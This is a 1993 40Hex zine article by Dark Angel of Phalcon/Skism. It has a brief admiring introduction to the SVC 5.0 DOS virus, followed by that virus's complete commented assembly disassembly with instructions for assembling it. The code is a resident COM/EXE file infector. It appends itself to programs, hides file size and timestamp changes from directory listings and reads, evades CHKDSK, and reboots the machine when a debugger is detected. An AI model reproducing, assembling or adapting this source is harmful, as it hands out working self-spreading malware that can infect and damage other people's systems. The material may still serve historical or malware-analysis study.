Copy Link
Add to Bookmark
Report
40Hex Issue 11 File 007
40Hex Issue 11 Volume 3 Number 2 File 007
SVC 5.0
SVC 5.0 is a good example of a true stealth virus. Cheesy, primitive
stealth-wanna-be viruses "disinfect" by rewriting the files on the disk.
Not so with SVC 5.0 and all real stealth viruses, which alter only the memory
image of the file, leaving the original intact. This has advantages,
including:
o Time savings
o Fewer disk accesses
o No additional disk writes are required
General Notes:
SVC 5.0 is a parasitic, resident COM and EXE infector. It does not
have encryption, but this is offset by the true stealth capabilities of the
virus. Although it hides the file length increase, the virus does not suffer
from the dreaded CHKDSK crosslinking errors experienced by many early stealth
viruses. However, the code to overcome this problem is kludgily implemented;
the virus detects execution of programs with the "HK" and "DS" strings in the
filename. Although this helps with CHKDSK, it won't help with other programs
which work in CHKDSK's asinine fashion.
-- Dark Angel
Phalcon/Skism 1993
-------------------------------------------------------------------------------
.model tiny
.code
; SVC 5-A
; Disassembly done by Dark Angel of Phalcon/Skism
; Assemble with Tasm /m SVC5-A
org 0
start:
call next
next:
pop si
db 83h,0EEh,3 ; sub si,offset next
mov word ptr cs:[si+offset storeAX],ax
push es
push si
xor dx,dx
mov ah,84h ; installation check
int 21h
pop si
push si
cmp dx,1990h
jne installvirus
cmp bh,byte ptr cs:[si+versionbyte]
ja go_exitvirus
jc installvirus
push si
push es
xchg ah,al ; convert ax to virus
xor ax,0FFFFh ; CS
mov es,ax ; es->resident virus
push cs
pop ds
xor di,di
mov cx,begindata - start - 1; same version?
cld
repe cmpsb
pop es
pop si
jz go_exitvirus ; yes, exit
jmp reboot ; else reboot
go_exitvirus:
jmp exitvirus
installvirus:
push es
xor ax,ax
mov ds,ax
les ax,dword ptr ds:21h*4 ; save old int 21h
mov cs:[si+oldint21],ax ; handler
mov word ptr cs:[si+oldint21+2],es
les ax,dword ptr ds:8*4 ; save old int 8 handler
mov cs:[si+oldint8],ax
mov word ptr cs:[si+oldint8+2],es
pop es
mov cs:[si+carrierPSP],es ; save current PSP
mov ah,49h ; Release memory @ PSP
int 21h
jc exitvirus ; exit on error
mov ah,48h ; Find total memory size
mov bx,0FFFFh
int 21h
sub bx,(viruslength+15)/16+1; shrink allocation for carrier
jc exitvirus
mov cx,es ; compute new memory
stc ; block location
adc cx,bx
mov ah,4Ah ; Allocate memory for carrier
int 21h
mov bx,(viruslength+15)/16
stc
sbb es:[2],bx ; fix high memory field in PSP
mov es,cx
mov ah,4Ah ; Allocate memory for virus
int 21h
mov ax,es ; Go to virus MCB
dec ax
mov ds,ax
mov word ptr ds:[1],8 ; mark owner = DOS
mov ax,cs:[si+carrierPSP] ; go back to carrier PSP
dec ax ; go to its MCB
mov ds,ax
mov byte ptr ds:[0],'Z' ; mark it end of block
push cs
pop ds
xor di,di ; copy virus to high memory
mov cx,viruslength + 1
cld
rep movsb
xor ax,ax
mov ds,ax
cli ; and set up virus
mov word ptr ds:21h*4,offset int21
mov word ptr ds:21h*4+2,es ; interrupt handlers
mov word ptr ds:8*4,offset int8
mov word ptr ds:8*4+2,es
exitvirus:
sti
push cs
pop ds
pop si
push si
mov ah,byte ptr cs:[si+offset encryptval1]
mov dh,byte ptr cs:[si+offset encryptval2]
add si,offset savebuffer
call decrypt
pop si
pop es
cld
cmp cs:[si+offset savebuffer],'ZM'
je returnEXE
mov di,100h
push cs
pop ds
push cs
pop es
push si
add si,offset savebuffer
movsb
movsw
pop si
mov ax,100h
push ax
mov ax,word ptr cs:[si+offset storeAX]
retn
returnEXE:
mov bx,es
add bx,10h
add bx,cs:[si+savebuffer+16h]
mov word ptr cs:[si+jmpcs],bx
mov bx,cs:[si+savebuffer+14h]
mov word ptr cs:[si+jmpip],bx
mov bx,es
mov ds,bx
add bx,10h
add bx,cs:[si+savebuffer+0eh]
cli
mov ss,bx
mov sp,cs:[si+savebuffer+10h]
sti
mov ax,word ptr cs:[si+offset storeAX]
db 0EAh ; jmp far ptr
jmpip dw 0
jmpcs dw 0
int21:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov word ptr cs:int21command,ax
cmp word ptr cs:int21command,4B03h ; load/no PSP
je _load_noexecute
cmp word ptr cs:int21command,4B01h ; load/no execute
je _load_noexecute
cmp word ptr cs:int21command,4B00h ; load/execute
je _load_execute
cmp ah,3Dh ; handle open
je _handleopen
cmp ah,3Eh ; handle close
je _handleclose
cmp ah,40h ; handle write
je _handlewrite
cmp ah,4Ch ; terminate
je _terminate
jmp short exitint21
nop
_terminate:
jmp terminate
_handlewrite:
jmp handlewrite
_load_noexecute:
jmp load_noexecute
_handleclose:
jmp handleclose
_handlecreate:
jmp handlecreate
_load_execute:
jmp load_execute
_handleopen:
jmp handleopen
_FCBfindfirstnext:
jmp FCBfindfirstnext
_ASCIIfindfirstnext:
jmp ASCIIfindfirstnext
_handlegoEOF:
jmp handlegoEOF
_handleopen2:
jmp handleopen2
_handleread:
jmp handleread
_getsetfiletime:
jmp getsetfiletime
return:
retn
load_execute_exit:
call restoreint24and23
jmp short exitint21
nop
restoreint24and23:
xor ax,ax
mov ds,ax
mov ax,cs:oldint24
mov ds:24h*4,ax
mov ax,cs:oldint24+2
mov word ptr ds:24h*4+2,ax
mov ax,cs:oldint23
mov ds:23h*4,ax
mov ax,cs:oldint23+2
mov word ptr ds:23h*4+2,ax
retn
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
cmp ah,3Ch ; handlecreate
je _handlecreate
cmp ah,83h ; installation check for
je old_installation_check ; other versions of SVC
cmp ah,84h ; installation check for
je installation_check ; this version of SVC
cmp ah,4Eh ; find first?
je _ASCIIfindfirstnext
cmp ah,4Fh ; find next?
je _ASCIIfindfirstnext
cmp ah,11h ; find first
je _FCBfindfirstnext
cmp ah,12h ; find next
je _FCBfindfirstnext
cmp ax,4202h ; go EOF
je _handlegoEOF
cmp ah,3Dh ; handle open
je _handleopen2
cmp ah,3Fh ; handle read
je _handleread
cmp ah,57h ; get/set file time
je _getsetfiletime
popf ; chain to original int
jmp dword ptr cs:oldint21 ; 21h handler
callint21:
cli
pushf
call dword ptr cs:oldint21
retn
installation_check:
popf
mov bh,cs:versionbyte
mov ax,cs
xor ax,0FFFFh
xchg ah,al
common_installation_check_return:
mov dx,1990h
iret
old_installation_check:
popf
jmp short common_installation_check_return
popdsdx_return:
pop dx
pop ds
jmp return
load_execute:
call check_chkdsk
call infectdsdx
jmp load_execute_exit
infectdsdx:
call setint24and23
jmp short infectdsdx_continue
nop
setint24and23:
xor ax,ax
mov es,ax
les ax,dword ptr es:24h*4
mov cs:oldint24,ax
mov cs:oldint24+2,es
xor ax,ax
mov es,ax
les ax,dword ptr es:23h*4
mov cs:oldint23,ax
mov cs:oldint23+2,es
xor ax,ax
mov es,ax
mov word ptr es:24h*4,offset int24
mov word ptr es:24h*4+2,cs
mov word ptr es:23h*4,offset int23
mov word ptr es:23h*4+2,cs
retn
infectdsdx_continue:
push ds
push dx
cmp byte ptr cs:tickcount,3Ch ; don't infect too early
jb popdsdx_return ; after previous one
mov ax,4300h ; get file attributes
call callint21
jc popdsdx_return
mov cs:fileattr,cx
and cl,0FEh ; turn off r/o bit
mov ax,4301h ; and reset file attributes
call callint21
jc popdsdx_return
mov cx,cs:fileattr
and cl,4 ; test cl,4
cmp cl,4 ; check system attribute
je infecthandle_exit ; exit if set
mov ax,3D02h ; open file read/write
call callint21
jc infecthandle_exit
mov bx,ax ; handle to bx
push dx ; save file name pointer
mov ax,5700h ; get file time/date
call callint21
pop dx
and cx,1Eh ; check if seconds = 60
cmp cx,1Eh ; (infection marker)
jne infect_dsdx_checkmo ; continue if not so marked
jmp short infecthandle_alreadyinfected
nop
infect_dsdx_checkmo:
call check_command_com
jnc infecthandle
jmp short infecthandle_alreadyinfected
nop
check_command_com:
cld
mov si,dx
check_command_com_loop:
lodsw
cmp ax,'MM' ; COMMAND.COM?
je check_command_com_yes
cmp ax,'mm'
je check_command_com_yes
cmp ax,'MB' ; IBMBIO/IBMDOS?
je check_command_com_yes
cmp ax,'mb'
je check_command_com_yes
cmp ah,0
je check_command_com_no
dec si
jmp short check_command_com_loop
check_command_com_yes:
stc
retn
check_command_com_no:
clc
retn
infecthandle_exit:
jmp popdsdx_return
infecthandle:
cmp bx,5 ; check if handle too
jb infecthandle_exit ; small (predefined)
call checkifinfected
jnc infecthandle_alreadyinfected
call infect_handle
infecthandle_alreadyinfected:
mov ah,3Eh ; Close file
call callint21
pop dx
pop ds
jc infecthandle_exit2
mov ax,4301h ; restore file attributes
mov cx,cs:fileattr
call callint21
infecthandle_exit2:
jmp return
infect_handle_exit:
jmp infect_handle_error
infect_handle:
mov ax,5700h ; get file time/date
call callint21
mov cs:filetime,cx
mov cs:filedate,dx
xor cx,cx
xor dx,dx
mov ax,4200h ; go to start of file
call callint21
push cs
pop ds
mov cx,18h ; read header
mov dx,offset savebuffer
mov ah,3Fh
call callint21
jc infect_handle_exit
push cs
pop es
push cs
pop ds
mov si,offset savebuffer ; copy to work buffer
mov di,offset workbuffer
mov cx,18h
cld
rep movsb
mov ax,2C00h
call callint21
mov byte ptr cs:encryptval2,dh
mov byte ptr cs:encryptval1,dl
mov ah,dl
mov si,offset savebuffer
call decrypt
cmp cs:workbuffer,'ZM' ; check if EXE
je infect_handle_EXE
mov cs:workbuffer,0E9h ; encode the jmp
xor cx,cx
xor dx,dx
mov ax,4202h ; get file size
call callint21
cmp dx,0
jne infect_handle_exit
cmp ax,viruslength
jb infect_handle_exit
cmp ax,0EDE1h ; check if too large
jae infect_handle_exit
sub ax,3 ; adjust size to jmp location
mov word ptr cs:workbuffer+1,ax
call writevirusandheader ; write virus to file
jmp infect_handle_finish
writevirusandheader:
push cs
pop ds
xor dx,dx
mov cx,viruslength
mov ah,40h ; concatenate virus
call callint21
jc writevirusandheader_exit
cmp ax,viruslength
jne writevirusandheader_exit
xor cx,cx
xor dx,dx
mov ax,4200h ; go to start of file
call callint21
jc writevirusandheader_exit
mov dx,offset workbuffer ; write new header to file
mov ah,40h
mov cx,18h
call callint21
retn
writevirusandheader_exit:
stc
retn
infect_handle_EXE:
xor cx,cx ; go to end of file
xor dx,dx
mov ax,4202h
call callint21
push dx ; save file size
push ax
mov si,ax
xor ax,ax
xchg ax,dx
mov di,1000h
mul di
mov dx,ax
mov ax,si
mov si,dx
xor dx,dx
mov di,10h ; convert to paragraphs
div di
add ax,si
xchg ax,dx
sub dx,cs:workbuffer+8 ; subtract header size
mov word ptr cs:workbuffer+16h,dx ; insert new initial
mov word ptr cs:workbuffer+14h,ax ; CS:IP (end of file)
pop ax
pop dx
add ax,viruslength ; calculate new image
adc dx,0 ; size mod 512 and div 512
mov di,200h
div di
cmp dx,0
je infect_handle_EXE_nofixup
add ax,1 ; pagelength fixup
infect_handle_EXE_nofixup:
mov cs:workbuffer+4,ax
mov cs:workbuffer+2,dx
mov ds,word ptr cs:workbuffer+16h ; insert new SS:SP
mov word ptr cs:workbuffer+0Eh,ds
mov ax,word ptr cs:workbuffer+14h
add ax,17D7h
mov word ptr cs:workbuffer+10h,ax
call writevirusandheader ; write virus to file
jmp short infect_handle_finish
nop
infect_handle_error:
stc
infect_handle_finish:
mov ax,5701h ; restore file time/date
mov cx,cs:filetime
mov dx,cs:filedate
jc infect_handle_noreset
and cx,0FFFEh ; but set seconds to
or cx,1Eh ; 60
mov byte ptr cs:tickcount,0 ; reset tickcount
infect_handle_noreset:
call callint21
retn
int23:
iret
int24:
mov al,3
iret
load_noexecute_exit:
jmp load_noexecute_closeexit
load_noexecute:
call setint24and23
push ds
push dx
mov ax,4300h ; get file attributes
call callint21
jc load_noexecute_exit
mov cs:fileattr,cx
and cl,0FEh ; turn off r/o bit
mov ax,4301h ; reset attributes
call callint21
jc load_noexecute_exit
mov ax,3D02h ; open file read/write
call callint21
jc load_noexecute_exit
mov bx,ax ; handle to bx
call checkifinfected
jc load_noexecute_exit
jmp short load_noexecute_disinfect
nop
checkifinfected_exit:
stc ; mark infected
retn ; and exit
checkifinfected:
mov ax,5700h ; get file time/date
call callint21
mov cs:filedate,dx
mov cs:filetime,cx
and cx,1Fh
cmp cx,1Eh
jne checkifinfected_exit
xor cx,cx
xor dx,dx
mov ax,4202h ; go to end of file
call callint21
jc checkifinfected_exit
mov cs:filesizelo,ax ; save filesize
mov cs:filesizehi,dx
sub ax,endvirus - infection_marker
sbb dx,0
mov cx,ax
xchg cx,dx
mov ax,4200h ; rewind to infection
call callint21 ; marker
jc checkifinfected_exit
push cs
pop ds
mov ah,3Fh ; read file
mov cx,3
mov dx,offset savebuffer
call callint21
jc checkifinfected_exit
push cs
pop es
mov si,offset savebuffer ; check for infection
mov di,offset infection_marker
mov cx,3 ; marker
repne cmpsb
jnz checkifinfected_exit
clc ; mark not infected
retn ; and exit
load_noexecute_disinfect:
call disinfect
jmp load_noexecute_closeexit
disinfect_exit:
jmp disinfect_error
disinfect:
mov dx,cs:filesizelo
mov cx,cs:filesizehi
sub dx,75h ; go to savebuffer
nop
sbb cx,0
mov ax,4200h
call callint21
jc disinfect_exit
jmp short disinfect_file
nop
jmp load_noexecute_closeexit
disinfect_file:
push cs
pop ds
mov ah,3Fh ; Read carrier's
mov cx,18h ; original header
mov dx,offset savebuffer
push cs
pop ds
call callint21
jc disinfect_exit
mov dx,cs:filesizelo ; go to decryption
mov cx,cs:filesizehi ; values
sub dx,endvirus - encryptval1
nop
sbb cx,0
mov ax,4200h
call callint21
mov dx,offset encryptval1
mov ah,3Fh ; read decryption values
mov cx,2
call callint21
mov si,offset savebuffer
mov ah,byte ptr cs:encryptval1
mov dh,byte ptr cs:encryptval2
call decrypt ; decrypt old header
xor cx,cx
xor dx,dx
mov ax,4200h
call callint21
jc disinfect_error
mov ah,40h ; Write old header to
mov cx,18h ; file
mov dx,offset savebuffer
call callint21
jc disinfect_error
mov dx,cs:filesizelo
mov cx,cs:filesizehi
sub dx,viruslength
sbb cx,0 ; go to end of carrier
mov ax,4200h ; file and
call callint21
jc disinfect_error
mov ah,40h ; truncate file
xor cx,cx ; at current position
call callint21
jc disinfect_error
mov ax,5701h ; restore file time/date
mov dx,cs:filedate
mov cx,cs:filetime
xor cx,1Fh
call callint21
retn
disinfect_error:
stc ; mark error
retn
load_noexecute_closeexit:
mov ah,3Eh ; Close file and
call callint21
mov ax,4301h ; restore attributes
mov cx,offset fileattr ; BUG!!!
pop dx
pop ds
call callint21
call restoreint24and23
jmp exitint21
FCBfindfirstnext:
call dword ptr cs:oldint21 ; prechain
pushf
pop cs:returnFlags
cmp al,0FFh
je FCBfindfirstnext_exit
cmp cs:chkdskflag,0
jne FCBfindfirstnext_exit
push ax
push bx
push cx
push dx
push es
push ds
mov ah,2Fh ; Get DTA
call callint21
cmp word ptr es:[bx],0FFh ; extended FCB?
jne FCBfindfirstnext_noextendedFCB
add bx,8 ; convert if so
FCBfindfirstnext_noextendedFCB:
mov ax,es:[bx+16h]
and ax,1Fh ; check if seconds = 60
cmp ax,1Eh
jne FCBfindfirstnext_notinfected
xor word ptr es:[bx+16h],1Fh; fix seconds field
sub word ptr es:[bx+1Ch],viruslength
sbb word ptr es:[bx+1Eh],0 ; shrink size
FCBfindfirstnext_notinfected:
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
FCBfindfirstnext_exit:
pop cs:storesIP
pop cs:storesCS
popf
push cs:returnFlags
push cs:storesCS
push cs:storesIP
iret
ASCIIfindfirstnext:
call dword ptr cs:oldint21 ; prechain
pushf
pop cs:returnFlags
jc ASCIIfindfirstnext_exit
cmp cs:chkdskflag,0
jne ASCIIfindfirstnext_exit
push ax
push bx
push cx
push dx
push es
push ds
mov ah,2Fh ; Get DTA
call callint21
mov ax,es:[bx+16h] ; get file time
and ax,1Fh ; to check if file
cmp ax,1Eh ; infected
jne ASCIIfindfirstnext_notinfected
xor word ptr es:[bx+16h],1Fh ; hide time change
sub word ptr es:[bx+1Ah],viruslength; and file length
sbb word ptr es:[bx+1Ch],0 ; change
ASCIIfindfirstnext_notinfected:
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
ASCIIfindfirstnext_exit:
pop cs:storesIP
pop cs:storesCS
popf
push cs:returnFlags
push cs:storesCS
push cs:storesIP
iret
handleopen:
call check_infectok
jnc handleopen_continue
jmp exitint21
check_infectok:
cld
mov si,dx
lodsw
cmp ah,':'
jne check_infectok_nodrive
cmp al,'a' ; make sure not floppy
je check_infectok_exit
cmp al,'A'
je check_infectok_exit
cmp al,'B'
jb check_infectok_exit ; BUG
cmp al,'b'
je check_infectok_exit
jmp short check_extension
nop
check_infectok_exit:
jmp short check_extension_notok
nop
check_infectok_nodrive:
mov ah,19h ; get default drive
call callint21
cmp al,2 ; make sure not floppy
jae check_extension
jmp short check_extension_notok
db 90h
check_extension:
cld
mov si,dx
check_extension_findextension:
lodsb
cmp al,'.'
je check_extension_foundextension
cmp al,0
jne check_extension_findextension
jmp short check_extension_notok
db 90h
check_extension_foundextension:
lodsw
cmp ax,'OC'
je check_extension_checkcom
cmp ax,'oc'
je check_extension_checkcom
cmp ax,'XE'
je check_extension_checkexe
cmp ax,'xe'
je check_extension_checkexe
jmp short check_extension_notok
db 90h
check_extension_checkcom:
lodsb
cmp al,'M'
je check_extension_ok
cmp al,'m'
je check_extension_ok
jmp short check_extension_notok
db 90h
check_extension_checkexe:
lodsb
cmp al,'E'
je check_extension_ok
cmp al,'e'
je check_extension_ok
jmp short check_extension_notok
db 90h
check_extension_ok:
clc
retn
check_extension_notok:
stc
retn
handleopen_continue:
call infectdsdx
call restoreint24and23
jmp exitint21
handlecreate:
mov word ptr cs:storess,ss ; preserve ss and sp
mov word ptr cs:storesp,sp
call dword ptr cs:oldint21
cli
mov ss,word ptr cs:storess
mov sp,word ptr cs:storesp
sti
pop cs:returnFlags ; save return flags
pushf
push ax
push bx
push cx
push ds
push es
push si
push di
jc handlecreate_exit
push dx
push ax
call check_extension
pop ax
pop dx
jc handlecreate_exit
push ax
call check_command_com
pop ax
jc handlecreate_exit
mov cs:handletoinfect,ax ; save handle to infect
; upon close
handlecreate_exit:
pop di
pop si
pop es
pop ds
pop cx
pop bx
pop ax
jmp exit_replaceflags
handleclose_exit:
mov cs:filehand,0
jmp exitint21
handleclose:
cmp bx,0
jne handleclose_continue
jmp exitint21
handleclose_continue:
cmp bx,cs:handletoinfect
je handleclose_infect
cmp bx,cs:filehand
je handleclose_exit
jmp exitint21
handleclose_infect:
mov ah,45h ; Duplicate file handle
call callint21
jc handleclose_infect_exit
xchg ax,bx
call setint24and23
call handleclose_infecthandle
call restoreint24and23
handleclose_infect_exit:
mov cs:handletoinfect,0
jmp exitint21
handleclose_infecthandle:
push ds
push dx
jmp infecthandle
int8:
push ax
push ds
pushf
cmp byte ptr cs:tickcount,0FFh ; don't "flip" tickcount
je int8checkint1
inc cs:tickcount ; one mo tick
int8checkint1:
xor ax,ax
mov ds,ax
cmp word ptr ds:1*4,offset int1 ; int 1 changed?
jne int8setint1 ; fix it if so
mov ax,cs
cmp word ptr ds:1*4+2,ax
jne int8setint1
int8checkint3:
cmp word ptr ds:3*4,offset int3 ; int 3 changed?
jne int8setint3 ; fix it if so
mov ax,cs
cmp word ptr ds:3*4+2,ax
jne int8setint3
exitint8:
popf
pop ds
pop ax
jmp dword ptr cs:oldint8
int8setint1:
push es
les ax,dword ptr ds:1*4
mov cs:oldint1,ax
mov word ptr cs:oldint1+2,es
mov word ptr ds:1*4,offset int1
mov word ptr ds:1*4+2,cs
pop es
jmp short int8checkint3
int8setint3:
push es
les ax,dword ptr ds:3*4
mov cs:oldint3,ax
mov word ptr cs:oldint3+2,es
mov word ptr ds:3*4,offset int3
mov word ptr ds:3*4+2,cs
pop es
jmp short exitint8
int3: ; reboot if debugger
push bp ; is active
push ax
mov bp,sp
add bp,6
mov bp,[bp]
mov ax,cs
cmp bp,ax
pop ax
pop bp
jz reboot
jmp dword ptr cs:oldint3
exitint1:
iret
int1:
push bp ; this routine doesn't
push ax ; do very much that's
mov bp,sp ; meaningful
add bp,6
mov bp,[bp]
mov ax,cs
cmp bp,ax
pop ax
pop bp
jz exitint1
jmp dword ptr cs:oldint1
reboot:
db 0EAh ; jmp F000:FFF0
db 0F0h, 0FFh, 0, 0F0h ; (reboot)
decrypt:
push bx
push es
call decrypt_next
decrypt_next:
pop bx
mov byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah
nop
mov byte ptr cs:[bx+19h],2 ; add dh,ah -> add ah,dh
nop
push ds
pop es
mov di,si
mov cx,18h
cld
decrypt_loop:
lodsb
db 0FFh, 0C4h ; inc sp
stosb
db 0, 0E6h ; add dh,ah
loop decrypt_loop
mov byte ptr cs:[bx+16h],0FFh ; change back to inc sp
mov byte ptr cs:[bx+19h],0 ; and add dh,ah -- why?
pop es
pop bx
retn
handlegoEOF:
popf
cmp cs:filehand,bx ; currently working on this?
jne handlegoEOFexit
mov cs:tempstoreDX,dx ; save offset from EOF
mov cs:tempstoreCX,cx
xor cx,cx
xor dx,dx
call callint21 ; go to EOF
sub ax,viruslength ; shrink to carrier size
sbb dx,0
mov cx,ax
xchg cx,dx
add dx,cs:tempstoreDX ; add offset from carrier
adc cx,cs:tempstoreCX ; EOF
mov ax,4200h ; and do it
handlegoEOFexit:
jmp dword ptr cs:oldint21
handleopen2:
call dword ptr cs:oldint21
pushf
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
jc handleopen2_exit
cmp cs:filehand,0
jne handleopen2_exit
push ax
mov bx,ax
call checkifinfected
pop ax
jc handleopen2_alreadyinfected
mov cs:filehand,ax ; save file handle for
mov bx,ax ; later use
mov ax,4202h ; go to end of file
xor cx,cx ; to find file size
xor dx,dx
call callint21
sub ax,viruslength ; calculate carrier
sbb dx,0 ; size and store it
mov cs:carrierEOFhi,dx
mov cs:carrierEOFlo,ax
handleopen2_alreadyinfected:
xor cx,cx ; go to start of file
xor dx,dx
mov ax,4200h
call callint21
handleopen2_exit:
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
exit_replaceflags:
popf
pop cs:storesIP
pop cs:storesCS
pop cs:returnFlags
pushf
push cs:storesCS
push cs:storesIP
iret
handleread_exit:
jmp handleread__exit
handleread:
call dword ptr cs:oldint21 ; prechain
pushf
push ax
push cx
push dx
push ds
push di
push si
push es
jc handleread_exit ; exit on error
cmp cs:filehand,0
je handleread_exit
cmp cs:filehand,bx
jne handleread_exit
mov cs:bufferoff,dx
mov cs:bufferseg,ds
mov cs:bytesread,ax
xor cx,cx ; get current file position
xor dx,dx
mov ax,4201h
call callint21
jc handleread_exit
sub ax,cs:bytesread ; find pre-read location
sbb dx,0 ; to see if need to
mov cs:origposhi,dx ; redirect it
mov cs:origposlo,ax
mov ax,4202h ; go to end of file
xor cx,cx
xor dx,dx
call callint21
sub ax,viruslength
sbb dx,0
mov cs:carrierEOFlo,ax
mov cs:carrierEOFhi,dx
cmp cs:origposhi,0 ; check if read was
jne handleread_notinheader ; from the header
cmp cs:origposlo,18h
jb handleread_inheader
handleread_notinheader:
mov cx,cs:origposhi ; check if read extended
mov dx,cs:origposlo ; into the virus
add dx,cs:bytesread
adc cx,0
cmp cx,cs:carrierEOFhi
jb handleread_notinvirus
ja handleread_invirus
cmp dx,cs:carrierEOFlo
ja handleread_invirus
handleread_notinvirus:
mov cx,cs:origposhi ; return to proper file
mov dx,cs:origposlo ; position
add dx,cs:bytesread
adc cx,0
mov ax,4200h
call callint21
handleread__exit:
pop es
pop si
pop di
pop ds
pop dx
pop cx
pop ax
jmp exit_replaceflags
handleread_invirus:
jmp handleread__invirus
handleread_inheader:
cmp cs:bytesread,0
je handleread_notinheader
mov cx,cs:carrierEOFhi
mov dx,cs:carrierEOFlo
add dx,offset savebuffer
adc cx,0
mov ax,4200h
call callint21
jc handleread_notinheader
push ds
pop es
push cs
pop ds
mov dx,offset savebuffer
mov ah,3Fh ; Read header
mov cx,18h
call callint21
jc handleread_notinheader
cmp ax,18h
jne handleread_notinheader
mov cx,cs:carrierEOFhi ; go to decryption values
mov dx,cs:carrierEOFlo
add dx,offset encryptval1
adc cx,0
mov ax,4200h
call callint21
mov ah,3Fh ; read decryption values
mov cx,2
mov dx,offset encryptval1
call callint21
jc handleread_inheader_error
mov si,offset savebuffer
mov ah,byte ptr cs:encryptval1
mov dh,byte ptr cs:encryptval2
call decrypt
mov cx,cs:origposlo
neg cx
add cx,18h
cmp cx,cs:bytesread
jb handleread_inheader_noadjust
mov cx,cs:bytesread
handleread_inheader_noadjust:
mov si,offset savebuffer ; copy previously read
add si,cs:origposlo ; stuff if necessary
mov di,cs:bufferoff
mov es,cs:bufferseg
cld
cmp cx,0
je handleread_inheader_nomove
rep movsb
handleread_inheader_nomove:
jmp handleread_notinheader
handleread_inheader_error:
jmp handleread_notinheader
handleread__invirus:
mov cx,cs:origposhi
cmp cx,cs:carrierEOFhi
ja handleread__invirus_gocarrierEOF
jc handleread__invirus_readpart
mov cx,cs:origposlo
cmp cx,cs:carrierEOFlo
jb handleread__invirus_readpart
handleread__invirus_gocarrierEOF:
mov cx,cs:origposhi
mov dx,cs:origposlo
mov ax,4200h
call callint21
xor ax,ax
handleread__invirus_exit:
pop es
pop si
pop di
pop ds
pop dx
pop cx
pop cs:returnFlags
jmp exit_replaceflags
handleread__invirus_readpart:
mov cx,cs:carrierEOFhi ; read portion of
mov dx,cs:carrierEOFlo ; file up to virus
mov ax,4200h
call callint21
sub ax,cs:origposlo
jmp short handleread__invirus_exit
handlewrite:
cmp bx,0
je handlewrite_exit
cmp bx,cs:filehand
jne handlewrite_exit
mov ax,4201h ; get current position
xor cx,cx ; in the file
xor dx,dx
call callint21
jc handlewrite_exit
mov cs:curposlo,ax
mov cs:curposhi,dx
mov ax,4202h ; go to end of file
xor cx,cx ; to find the filesize
xor dx,dx
call callint21
mov cs:filesizelo,ax
mov cs:filesizehi,dx
call disinfect ; disinfect the file
jc handlewrite_done
cmp cs:handletoinfect,0
jne handlewrite_done
mov cs:handletoinfect,bx
mov cs:filehand,0
handlewrite_done:
mov dx,cs:curposlo ; return to original
mov cx,cs:curposhi ; position
mov ax,4200h
call callint21
handlewrite_exit:
jmp exitint21
terminate:
mov cs:chkdskflag,0
jmp exitint21
check_chkdsk:
mov si,dx
cld
check_chkdsk_loop1:
lodsw
cmp ah,0
je check_chkdsk_exit
cmp ax,'HC'
je check_chkdsk_loop2
cmp ax,'hc'
je check_chkdsk_loop2
dec si
jmp short check_chkdsk_loop1
check_chkdsk_exit:
retn
check_chkdsk_loop2:
push si
lodsw
cmp ax,'DK'
pop si
jz check_chkdsk_found
cmp ax,'dk'
je check_chkdsk_found
dec si
jmp short check_chkdsk_loop1
check_chkdsk_found:
mov cs:chkdskflag,1
retn
getsetfiletime:
cmp al,0 ; get file tiem?
jne getsetfiletime_exit ; nope, exit
call dword ptr cs:oldint21 ; prechain
pushf
and cx,1Eh ; if (seconds == 60)
cmp cx,1Eh ; then xor with 60h
jne getsetfiletime_nofix ; to hide the change
xor cx,1Eh ; otherwise, don't
getsetfiletime_nofix:
jmp exit_replaceflags
getsetfiletime_exit:
popf
jmp dword ptr cs:oldint21
db '(c) 1990 by SVC,Vers. '
infection_marker db '5.0 ',0
begindata:
oldint1 dw 0, 0
oldint3 dw 0, 0
oldint8 dw 0, 0
oldint21 dw 0, 0
savebuffer dw 20CDh
dw 11 dup (0)
tickcount db 0
carrierPSP dw 0
origposlo dw 0
origposhi dw 0
carrierEOFlo dw 0
carrierEOFhi dw 0
bytesread dw 0
bufferoff dw 0
bufferseg dw 0
tempstoreCX dw 0
tempstoreDX dw 0
filehand dw 0
fileattr dw 0
filetime dw 0
filedate dw 0
chkdskflag dw 0
oldint24 dw 0, 0
oldint23 dw 0, 0
handletoinfect dw 0
storesIP dw 0
storesCS dw 0
returnFlags dw 0
filesizelo dw 0
filesizehi dw 0
curposlo dw 0
curposhi dw 0
workbuffer dw 12 dup (0)
storeAX dw 0
db 0
storess dw 0
storesp dw 0
int21command dw 0
encryptval1 db 0
encryptval2 db 0
dw 1990h ; written 1990
versionbyte db 50h ; version 5.0
endvirus = $
viruslength = $ - start
end start
-------------------------------------------------------------------------------